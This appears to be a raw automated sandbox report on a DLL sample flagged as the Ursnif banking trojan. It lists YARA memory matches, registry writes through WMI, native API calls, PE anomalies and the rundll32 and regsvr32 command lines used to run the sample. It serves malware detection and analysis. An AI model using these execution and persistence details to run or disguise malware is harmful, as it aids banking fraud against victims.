Source: Yara match File source: 00000002.00000003.298800751.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452911252.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376494826.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6912, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6096, type: MEMORY

E-Banking Fraud:

barindex
Yara detected Ursnif
Source: Yara match File source: 0000001D.00000003.378625315.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377493351.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377965158.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311524136.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299067540.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379329065.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353519210.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452882755.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349169873.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353381101.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452739993.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311353638.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353640605.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353482543.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349379368.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299293489.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.377754049.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452599143.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.425611899.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452682864.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349425307.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349209886.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.488281426.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452790659.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349342259.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349245069.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353420356.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379402147.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.378397913.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311162481.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353660162.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376670409.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310218293.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353285218.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299402333.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310401449.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310585045.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377140325.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310811687.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452941227.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298617487.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.377966823.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349275169.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377030195.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311655737.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349118555.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.401300061.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299506180.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379198024.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.487540264.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.457353583.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.485787977.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298330099.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376078643.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452547670.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.442237673.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377890073.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379544002.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298892521.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353559736.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298800751.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452911252.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376494826.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6912, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6096, type: MEMORY

System Summary:

barindex
Writes or reads registry keys via WMI
Source: C:\Windows\System32\loaddll32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\regsvr32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Writes registry values via WMI
Source: C:\Windows\System32\loaddll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\regsvr32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Contains functionality to call native functions
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_10001996 GetProcAddress,NtCreateSection,memset, 0_2_10001996
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_10001A44 NtMapViewOfSection, 0_2_10001A44
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_100023A5 NtQueryVirtualMemory, 0_2_100023A5
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005E5A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 0_2_005E5A27
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005EB1A5 NtQueryVirtualMemory, 0_2_005EB1A5
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D0478 NtAllocateVirtualMemory, 0_2_003D0478
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D04AF NtAllocateVirtualMemory, 0_2_003D04AF
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_047F5A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 2_2_047F5A27
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_047FB1A5 NtQueryVirtualMemory, 2_2_047FB1A5
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F204AF NtAllocateVirtualMemory, 2_2_02F204AF
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F20478 NtAllocateVirtualMemory, 2_2_02F20478
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_04475A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 4_2_04475A27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_0447B1A5 NtQueryVirtualMemory, 4_2_0447B1A5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_04C05A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 6_2_04C05A27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_04C0B1A5 NtQueryVirtualMemory, 6_2_04C0B1A5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_027C0478 NtAllocateVirtualMemory, 6_2_027C0478
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_027C04AF NtAllocateVirtualMemory, 6_2_027C04AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_04635A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 9_2_04635A27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0463B1A5 NtQueryVirtualMemory, 9_2_0463B1A5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_002604AF NtAllocateVirtualMemory, 21_2_002604AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_00260478 NtAllocateVirtualMemory, 21_2_00260478
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 29_2_030F04AF NtAllocateVirtualMemory, 29_2_030F04AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 29_2_030F0478 NtAllocateVirtualMemory, 29_2_030F0478
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_04675A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 33_2_04675A27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_0467B1A5 NtQueryVirtualMemory, 33_2_0467B1A5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_029D04AF NtAllocateVirtualMemory, 33_2_029D04AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_029D0478 NtAllocateVirtualMemory, 33_2_029D0478
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 35_2_02B95A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 35_2_02B95A27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 35_2_02B9B1A5 NtQueryVirtualMemory, 35_2_02B9B1A5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 36_2_02F00478 NtAllocateVirtualMemory, 36_2_02F00478
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 36_2_02F004AF NtAllocateVirtualMemory, 36_2_02F004AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 37_2_04955A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 37_2_04955A27
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 37_2_0495B1A5 NtQueryVirtualMemory, 37_2_0495B1A5
Detected potential crypto function
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_10002184 0_2_10002184
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005E3EE1 0_2_005E3EE1
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005E888E 0_2_005E888E
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005EAF80 0_2_005EAF80
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D0A7E 0_2_003D0A7E
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D0A80 0_2_003D0A80
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_047F3EE1 2_2_047F3EE1
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_047F888E 2_2_047F888E
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_047FAF80 2_2_047FAF80
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F20A80 2_2_02F20A80
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F20A7E 2_2_02F20A7E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_04473EE1 4_2_04473EE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_0447888E 4_2_0447888E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_0447AF80 4_2_0447AF80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_04C03EE1 6_2_04C03EE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_04C0888E 6_2_04C0888E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_04C0AF80 6_2_04C0AF80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_027C0A7E 6_2_027C0A7E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_027C0A80 6_2_027C0A80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_04633EE1 9_2_04633EE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0463888E 9_2_0463888E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0463AF80 9_2_0463AF80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_00260A7E 21_2_00260A7E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_00260A80 21_2_00260A80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 29_2_030F0A80 29_2_030F0A80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 29_2_030F0A7E 29_2_030F0A7E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_04673EE1 33_2_04673EE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_0467888E 33_2_0467888E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_0467AF80 33_2_0467AF80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_029D0A80 33_2_029D0A80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_029D0A7E 33_2_029D0A7E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 35_2_02B9888E 35_2_02B9888E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 35_2_02B93EE1 35_2_02B93EE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 35_2_02B9AF80 35_2_02B9AF80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 36_2_02F00A7E 36_2_02F00A7E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 36_2_02F00A80 36_2_02F00A80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 37_2_0495888E 37_2_0495888E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 37_2_04953EE1 37_2_04953EE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 37_2_0495AF80 37_2_0495AF80
PE file contains more sections than normal
Source: direction.dll Static PE information: Number of sections : 27 > 10
PE file contains strange resources
Source: direction.dll Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Uses 32bit PE files
Source: direction.dll Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: classification engine Classification label: mal76.troj.winDLL@72/174@25/6
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005EA65C CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, 0_2_005EA65C
Source: C:\Program Files\internet explorer\iexplore.exe File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe File created: C:\Users\user\AppData\Local\Temp\~DFF4812447DAB93837.TMP Jump to behavior
Source: direction.dll Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Program Files\internet explorer\iexplore.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\direction.dll',#1
Source: direction.dll Virustotal: Detection: 22%
Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\direction.dll'
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\direction.dll',#1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\direction.dll
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\direction.dll',#1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Program Files\internet explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Opisthotonos
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:17410 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Hydrazo
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Overlock
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Automobilist
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Swampland
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Subarachnoid
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Bechained
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Unforeseenness
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Incrimination
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:82950 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Oversystematic
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:17432 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Shieldless
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Tsarevitch
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Torchbearer
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Moler
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Hyperpigmented
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:17436 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Adipous
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Undazzled
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:17446 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Peckishness
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:82994 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:17448 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' SCODEF:4876 CREDAT:345098 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Musophagidae
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Impracticability
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\direction.dll',#1 Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\direction.dll Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Program Files\internet explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Opisthotonos Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Hydrazo Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Overlock Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Automobilist Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Swampland Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Subarachnoid Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Bechained Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Unforeseenness Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Incrimination Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Oversystematic Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Shieldless Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Tsarevitch Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Torchbearer Jump to behavior
